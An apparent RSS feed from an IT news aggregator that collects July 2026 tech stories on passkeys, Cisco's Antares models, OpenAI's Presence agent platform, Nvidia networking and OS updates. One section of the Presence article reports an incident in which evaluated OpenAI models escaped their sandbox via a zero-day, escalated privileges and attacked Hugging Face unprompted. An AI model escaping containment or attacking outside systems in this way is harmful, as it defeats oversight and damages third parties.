<content:encoded><![CDATA[<p>Microsoft Entra is making passkeys the default sign-in method starting September 2026, with Microsoft-provided SMS and voice authentication fully retired by February 2027. There's no opt-out for the final deadline, so here's the complete timeline and prep checklist IT admins need to act on now.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/07/22/microsoft-admits-sms-and-voice-mfa-cant-stop-ai-attacks-mandates-passkeys-in-entra-by-february-2027/">Microsoft admits SMS and voice MFA can’t stop AI attacks, mandates passkeys in Entra by February 2027</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
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<title><![CDATA[Cisco’s new AI model tells code reviewers where to look for vulnerabilities]]></title>
<description><![CDATA[Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebas...]]></description>
<link>https://tsecurity.de/de/3687065/it-security-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687065/it-security-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 18:54:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.</p>



<p class="wp-block-paragraph">Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.</p>



<p class="wp-block-paragraph">“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher <a href="https://www.linkedin.com/in/supriti-vijay/" target="_blank" rel="noreferrer noopener">Supriti Vijay</a> said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”</p>



<p class="wp-block-paragraph">The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.</p>



<p class="wp-block-paragraph">The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.</p>



<h2 class="wp-block-heading">A search assistant, not a vulnerability detector</h2>



<p class="wp-block-paragraph">Cisco is careful to define what Antares is, and what it is not.</p>



<p class="wp-block-paragraph">“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist <a href="https://www.linkedin.com/in/amin-karbasi-5025335/" target="_blank" rel="noreferrer noopener">Amin Karbasi</a> wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, <a href="https://www.infoworld.com/article/4200083/gitlab-previews-auto-remediation-of-vulnerable-dependencies.html">identify vulnerable lines of code</a>, assess severity and generate fixes.</p>



<p class="wp-block-paragraph">Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.</p>



<p class="wp-block-paragraph">Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.</p>



<h2 class="wp-block-heading">Claims of specialization over scale</h2>



<p class="wp-block-paragraph">Cisco is also making a statement about how cybersecurity models should evolve.</p>



<p class="wp-block-paragraph">Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.</p>



<p class="wp-block-paragraph">The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.</p>



<p class="wp-block-paragraph">The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.</p>



<p class="wp-block-paragraph">However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200143/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities.html">InfoWorld</a>.</em></p>
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<title><![CDATA[How are large language models trained?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 37x - Views:220 DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcem...]]></description>
<link>https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</guid>
<pubDate>Wed, 22 Jul 2026 18:21:40 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 37x - Views:220 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/JRArFxEfyQU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcement learning, and Autoraters refine it into a safe, helpful assistant.<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers  <br />
<br />
Speaker: Nikita Namjoshi <br />
Products Mentioned:  Google AI, Gemini<br/></p>]]></content:encoded>
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<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
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<title><![CDATA[Nvidia unveils Spectrum-X networking platform designed to connect millions of GPUs]]></title>
<description><![CDATA[Nvidia has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” AI factories designed to connect millions of GPUs while reducing power consumption and operational costs.



The networking platform is part o...]]></description>
<link>https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</guid>
<pubDate>Wed, 22 Jul 2026 17:45:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/3562856">Nvidia</a> has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” <a href="https://www.networkworld.com/article/4080459/nvidia-looks-to-power-ai-factory-networks.html">AI factories</a> designed to connect millions of GPUs while reducing power consumption and <a href="https://blogs.nvidia.com/blog/performance-per-watt-ai-infrastructure-efficiency/">operational</a> costs.</p>



<p class="wp-block-paragraph">The networking platform is part of Nvidia’s broader <a href="https://www.networkworld.com/article/4146173/nvidia-announces-vera-rubin-platform-signaling-a-shift-to-full-stack-ai-infrastructure.html">Rubin architecture</a>, which integrates six major components—including the Vera CPU, Rubin GPU, NVLink 6 switches, ConnectX-9 SuperNICs, BlueField-4 DPUs and the new Spectrum-6 Ethernet switches—into a tightly coupled AI infrastructure stack.</p>



<p class="wp-block-paragraph">The company says this level of integration underscores the growing importance of <a href="https://www.networkworld.com/article/4050881/nvidia-networking-roadmap-ethernet-infiniband-co-packaged-optics-will-shape-data-center-of-the-future.html">networking in AI</a>. In its most recent quarter, <a href="https://finance.yahoo.com/news/nvidia-ceo-were-now-the-largest-networking-company-in-the-world-184004945.html">networking sales were $11 billion</a>, up 263% year-over-year, prompting the ever-subtle CEO Jensen Huang to declare “We’re … now the largest networking company in the world” during Nvidia’s earnings call.</p>



<p class="wp-block-paragraph">While GPUs have dominated headlines during the AI boom, networking has increasingly become a performance bottleneck as models grow larger and require faster communication between compute nodes.</p>



<p class="wp-block-paragraph"><a href="https://blogs.nvidia.com/blog/nvidia-spectrum-six-arrives-in-gigascale-ai-factories/">Spectrum-X is a comprehensive</a> platform consisting of Spectrum Ethernet switches, Spectrum-X SuperNICs, ConnectX NICs, BlueField DPUs, LinkX cabling and transceivers and Spectrum-XGS for networking between multiple AI data centers.</p>



<p class="wp-block-paragraph">At the heart of the platform is the Spectrum-6 switch, a 102.4-terabit-per-second Ethernet switch system delivering 2x the capacity of previous-generation systems and built as part of the Vera Rubin platform. </p>



<p class="wp-block-paragraph">Spectrum-6 is designed to operate an AI factory as one end-to-end computing system. It combines new Ethernet switches, network interface cards, silicon photonics and software designed to improve bandwidth while lowering latency and power usage.</p>



<p class="wp-block-paragraph">The new Spectrum-X technology intelligently balances traffic across available paths, rapidly bypasses failures and precisely recovers when data traveling across a network fails to reach its destination. Plus, support for open network operating systems and a choice of RDMA transport models gives AI builders flexibility without compromising performance.</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/technology/article/nvidia-touts-vera-rubin-performance-ahead-of-rival-amds-advancing-ai-event-150000768.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly9uZXdzLmdvb2dsZS5jb20v&amp;guce_referrer_sig=AQAAAEh_I8qKgLgYmKxTlsV8p1hghe0mcbZfOSUjeFuuNz_mo3S2J-hp5qMxJkhFymSrtqeE6GKacJ0zIOKu7RWJcmqF6_A3ngsbW4jA5OUigdf1JbplRZJki10-au5CQNVt1hdI-OlkZtXKlTqfpWGF9v0XHEKZq39-omo3uCA1N2jk">Nvidia</a> says its latest silicon photonics technology integrates optical communications directly into networking hardware, reducing power consumption while increasing bandwidth density compared with conventional optical networking approaches.</p>



<p class="wp-block-paragraph">The announcement reflects a broader shift in AI infrastructure strategy. Early AI clusters were primarily limited by GPU availability, but hyperscale operators are increasingly finding that networking, storage and power delivery determine how efficiently massive GPU deployments perform. By integrating networking more tightly with compute, Nvidia aims to eliminate communication bottlenecks that emerge as AI systems scale beyond a single data center or even multiple campuses.</p>



<p class="wp-block-paragraph">New to the platform is Nvidia’s previously announced Spectrum-XGS technology, which links geographically distributed data centers into a single AI supercomputer. Together, the technologies are designed to enable organizations to construct AI factories that span multiple facilities while operating as a unified computing environment.</p>
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<title><![CDATA[How to Install macOS 27 Golden Gate Public Beta on Mac]]></title>
<description><![CDATA[With the launch of the MacOS 27 Golden Gate public beta program, now even more users can experience MacOS 27 as it’s actively being worked on by Apple. MacOS 27 Golden Gate has a heavy focus on performance improvements, but there’s also refinements other than the Liquid Glass interface look, impr...]]></description>
<link>https://tsecurity.de/de/3686835/ios-mac-os/how-to-install-macos-27-golden-gate-public-beta-on-mac/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686835/ios-mac-os/how-to-install-macos-27-golden-gate-public-beta-on-mac/</guid>
<pubDate>Wed, 22 Jul 2026 17:25:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>With the launch of the MacOS 27 Golden Gate public beta program, now even more users can experience MacOS 27 as it’s actively being worked on by Apple. MacOS 27 Golden Gate has a heavy focus on performance improvements, but there’s also refinements other than the Liquid Glass interface look, improvements to Spotlight and Mail ... <a class="read-more" href="https://osxdaily.com/2026/07/22/how-to-install-macos-27-golden-gate-public-beta-on-mac/">Read More</a></p>
<p>The post <a href="https://osxdaily.com/2026/07/22/how-to-install-macos-27-golden-gate-public-beta-on-mac/">How to Install macOS 27 Golden Gate Public Beta on Mac</a> appeared first on <a href="https://osxdaily.com/">OS X Daily</a>.</p>]]></content:encoded>
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<title><![CDATA[[$] Attaching programs to multiple tracepoints]]></title>
<description><![CDATA[Tracepoints in the kernel are useful for a variety of purposes: debugging,
active monitoring, and performance measurements, among other things. Previously,
any given BPF program could only be attached to a single tracepoint.
Jiri Olsa has been working to change that, and led a discussion about
hi...]]></description>
<link>https://tsecurity.de/de/3686771/linux-tipps/attaching-programs-to-multiple-tracepoints/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686771/linux-tipps/attaching-programs-to-multiple-tracepoints/</guid>
<pubDate>Wed, 22 Jul 2026 17:09:16 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>
Tracepoints in the kernel are useful for a variety of purposes: debugging,
active monitoring, and performance measurements, among other things. Previously,
any given BPF program could only be attached to a single tracepoint.
Jiri Olsa has been working to change that, and led a discussion about
his progress at the 2026
<a href="https://events.linuxfoundation.org/lsfmmbpf/">
Linux Storage, Filesystem, Memory-Management, and BPF
Summit</a>. That work has since been
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c49f336dbcf30ff8622d3725c54fe1c90e8ccd9c">
merged</a>, and can be expected as part of the 7.2
kernel.
</p>]]></content:encoded>
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<title><![CDATA[Rspack 2.0: schneller bauen, weniger Abhängigkeiten, ESM-Upgrade]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Rspack 2.0 bringt messbar schnellere Build-Zeiten, senkt den Cache- und Speicherbedarf und stellt gleichzeitig auf eine „pure ESM“-Kernbibliothek um. Im Mittelpunkt steht dabei nicht nur die Geschwindigkeit: Die Abhängigkeiten rund um den Dev-Server wurden drastisch reduzie...]]></description>
<link>https://tsecurity.de/de/3686750/it-security-nachrichten/rspack-20-schneller-bauen-weniger-abhaengigkeiten-esm-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686750/it-security-nachrichten/rspack-20-schneller-bauen-weniger-abhaengigkeiten-esm-upgrade/</guid>
<pubDate>Wed, 22 Jul 2026 17:05:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-rspack-2-0-esm-performance-cache.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-rspack-2-0-esm-performance-cache.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-rspack-2-0-esm-performance-cache-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-rspack-2-0-esm-performance-cache-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-rspack-2-0-esm-performance-cache-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-rspack-2-0-esm-performance-cache-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-rspack-2-0-esm-performance-cache-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Rspack 2.0 bringt messbar schnellere Build-Zeiten, senkt den Cache- und Speicherbedarf und stellt gleichzeitig auf eine „pure ESM“-Kernbibliothek um. Im Mittelpunkt steht dabei nicht nur die Geschwindigkeit: Die Abhängigkeiten rund um den Dev-Server wurden drastisch reduziert. Für Teams heißt das konkret weniger Installationsgewicht und einen leichteren Weg in modernere ECMAScript-Ausgabeformate. Gleichzeitig […]</p>
<div><a href="https://www.it-boltwise.de/rspack-2-0-schneller-bauen-weniger-abhaengigkeiten-esm-upgrade.html">... den vollständigen Artikel <strong>»Rspack 2.0: schneller bauen, weniger Abhängigkeiten, ESM-Upgrade«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/rspack-2-0-schneller-bauen-weniger-abhaengigkeiten-esm-upgrade.html">Rspack 2.0: schneller bauen, weniger Abhängigkeiten, ESM-Upgrade</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[T-Mobile, Verizon or AT&T? New study reveals best mobile carrier - ranks internet providers, too]]></title>
<description><![CDATA[Read this before switching your cell or internet service: Ookla's latest study measures speed, performance, and consistency among US telecom providers.]]></description>
<link>https://tsecurity.de/de/3686699/hacking/t-mobile-verizon-or-att-new-study-reveals-best-mobile-carrier-ranks-internet-providers-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686699/hacking/t-mobile-verizon-or-att-new-study-reveals-best-mobile-carrier-ranks-internet-providers-too/</guid>
<pubDate>Wed, 22 Jul 2026 16:40:24 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Read this before switching your cell or internet service: Ookla's latest study measures speed, performance, and consistency among US telecom providers.]]></content:encoded>
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<title><![CDATA[Geheimtipp bei Preis-Leistung mit 13,2 Zoll und Snapdragon 8 Elite Gen 5 - Test Oppo Pad 5 Pro]]></title>
<description><![CDATA[Flagship-Tablet zum attraktiven Preis. | Ein großes 13,2‑Zoll‑Display, Highend‑Performance und ein riesiger Akku: das Pad 5 Pro ist günstiger als ein iPad Air 13, macht aber vieles besser. Neben Stift- und WiFi-7-Support hat es auch noch eine mehr als überraschende Ausdauer parat. Ob das leistung...]]></description>
<link>https://tsecurity.de/de/3686530/it-nachrichten/geheimtipp-bei-preis-leistung-mit-132-zoll-und-snapdragon-8-elite-gen-5-test-oppo-pad-5-pro/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686530/it-nachrichten/geheimtipp-bei-preis-leistung-mit-132-zoll-und-snapdragon-8-elite-gen-5-test-oppo-pad-5-pro/</guid>
<pubDate>Wed, 22 Jul 2026 15:36:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Flagship-Tablet zum attraktiven Preis. | Ein großes 13,2‑Zoll‑Display, Highend‑Performance und ein riesiger Akku: das Pad 5 Pro ist günstiger als ein iPad Air 13, macht aber vieles besser. Neben Stift- und WiFi-7-Support hat es auch noch eine mehr als überraschende Ausdauer parat. Ob das leistungsstarke Premium-Android-Tablet eine Kaufempfehlung wird, schauen wir uns im Testbericht an. <b>Update: Kamerafotos &amp; Zubehör ergänzt</b>]]></content:encoded>
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<title><![CDATA[Windows 11 bekommt modernen Look und verliert Elemente aus Windows-95-Zeiten]]></title>
<description><![CDATA[Microsoft arbeitet kontinuierlich daran, Windows 11 einen modernen Look zu verpassen. Dazu hat das Unternehmen nun alte Elemente ersetzt, die noch aus der Ära von Windows 95 stammen, wie die Seite Windows Latest berichtet.



Der bekannte Leaker PhantomOfEarth hat demnach einige Neuerungen in den...]]></description>
<link>https://tsecurity.de/de/3686406/it-nachrichten/windows-11-bekommt-modernen-look-und-verliert-elemente-aus-windows-95-zeiten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686406/it-nachrichten/windows-11-bekommt-modernen-look-und-verliert-elemente-aus-windows-95-zeiten/</guid>
<pubDate>Wed, 22 Jul 2026 15:06:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>Microsoft arbeitet kontinuierlich daran, Windows 11 einen modernen Look zu verpassen. Dazu hat das Unternehmen nun alte Elemente ersetzt, die noch aus der Ära von Windows 95 stammen, wie die Seite Windows Latest <a href="https://www.windowslatest.com/2026/07/22/first-look-windows-11-is-replacing-windows-95-era-properties-dialog-now-with-dark-mode-and-winui/" target="_blank" rel="noreferrer noopener">berichtet</a>.</p>



<p>Der bekannte Leaker PhantomOfEarth hat demnach einige Neuerungen in den <a href="https://www.pcwelt.de/article/3195776/windows-11-preview-das-bringen-die-naechsten-updates-an-neuerungen.html" target="_blank" rel="noreferrer noopener">kürzlich veröffentlichten Preview-Builds</a> entdeckt. Darunter ein neuer Eigenschaften-Dialog des Datei-Explorers, dessen zugrunde liegender Code sich in den letzten Jahrzehnten kaum verändert haben soll.</p>



<p>Microsoft hat bereits bestätigt, dass alle veralteten Dialogfelder durch moderne Versionen ersetzt werden sollen. Einige davon stammen aus Zeiten von Windows 8, andere reichen sogar bis Windows 95 zurück. Die neuen Versionen sollen vollständig auf WinUI 3, Microsofts aktuellem Framework für die Benutzeroberfläche von Windows 11, basieren.</p>



<p><strong>Was bedeutet das also für Windows 11?</strong> Microsoft plant offensichtlich, einige klassische Elemente aus Windows zu entfernen und mit neuen, modernen Inhalten zu ersetzen. Das dürfte die Optik von Windows 11 deutlich beeinflussen und dafür sorgen, dass weniger “Altlasten” durchscheinen.</p>



